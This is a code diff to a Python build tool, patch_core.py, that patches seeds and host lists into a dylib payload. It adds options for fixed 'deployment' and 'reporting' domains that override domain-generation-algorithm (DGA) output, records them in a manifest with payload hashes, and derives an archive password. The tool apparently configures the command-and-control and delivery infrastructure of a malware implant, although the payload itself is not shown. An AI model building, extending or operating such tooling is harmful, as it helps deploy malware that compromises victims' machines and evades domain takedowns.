init

tools/patch_core.py

@@ -23,6 +23,7 @@ from _common import (
     tree_root,
     validate_seed_arg,
 )
+from _domain_patch import parse_domain_list, patch_fixed_domains_in_dylib
 import _common
 
 import sys
@@ -93,6 +94,18 @@ def main() -> int:
     )
     parser.add_argument("--deployment-seed", required=True)
     parser.add_argument("--reporting-seed", required=True)
+    parser.add_argument(
+        "--deployment-domains",
+        action="append",
+        default=[],
+        help="fixed Deployment hosts (repeat or comma-separated). Overrides DGA output.",
+    )
+    parser.add_argument(
+        "--reporting-domains",
+        action="append",
+        default=[],
+        help="fixed Reporting hosts (repeat or comma-separated). Overrides DGA output.",
+    )
     parser.add_argument(
         "--root",
         type=Path,
@@ -111,6 +124,18 @@ def main() -> int:
     args = parser.parse_args()
     dep = validate_seed_arg("--deployment-seed", args.deployment_seed)
     rep = validate_seed_arg("--reporting-seed", args.reporting_seed)
+    fixed_dep = (
+        parse_domain_list(args.deployment_domains, label="deployment")
+        if args.deployment_domains
+        else None
+    )
+    fixed_rep = (
+        parse_domain_list(args.reporting_domains, label="reporting")
+        if args.reporting_domains
+        else None
+    )
+    if (fixed_dep is None) ^ (fixed_rep is None):
+        raise SystemExit("provide both --deployment-domains and --reporting-domains, or neither")
 
     if args.root:
         set_tree_root(args.root)
@@ -137,6 +162,15 @@ def main() -> int:
         expect_rep=2,
         label="core/tmp.dylib",
     )
+    if fixed_dep is not None and fixed_rep is not None:
+        patched = patch_fixed_domains_in_dylib(
+            patched,
+            fixed_dep,
+            fixed_rep,
+            deployment_seed=dep,
+            reporting_seed=rep,
+            label="core/tmp.dylib",
+        )
     digest = sha256_hex(patched)
     size = len(patched)
     password = derive_archive_password()
@@ -161,15 +195,18 @@ def main() -> int:
         json.dumps(json.loads(config_bytes), indent=2) + "\n"
     )
 
+    dep_domains = fixed_dep if fixed_dep is not None else generate_domains(dep, 5)
+    rep_domains = fixed_rep if fixed_rep is not None else generate_domains(rep, 5)
     manifest = {
         "deployment_seed": dep,
         "reporting_seed": rep,
+        "mode": "fixed_domains" if fixed_dep is not None else "dga",
         "core_sha256": digest,
         "core_size": size,
         "daily_sha256": sha256_hex(daily_wire),
         "erupt_flee_sha256": sha256_hex(erupt_wire),
-        "deployment_domains": generate_domains(dep, 5),
-        "reporting_domains": generate_domains(rep, 5),
+        "deployment_domains": dep_domains,
+        "reporting_domains": rep_domains,
     }
     (out / "MANIFEST.json").write_text(json.dumps(manifest, indent=2) + "\n")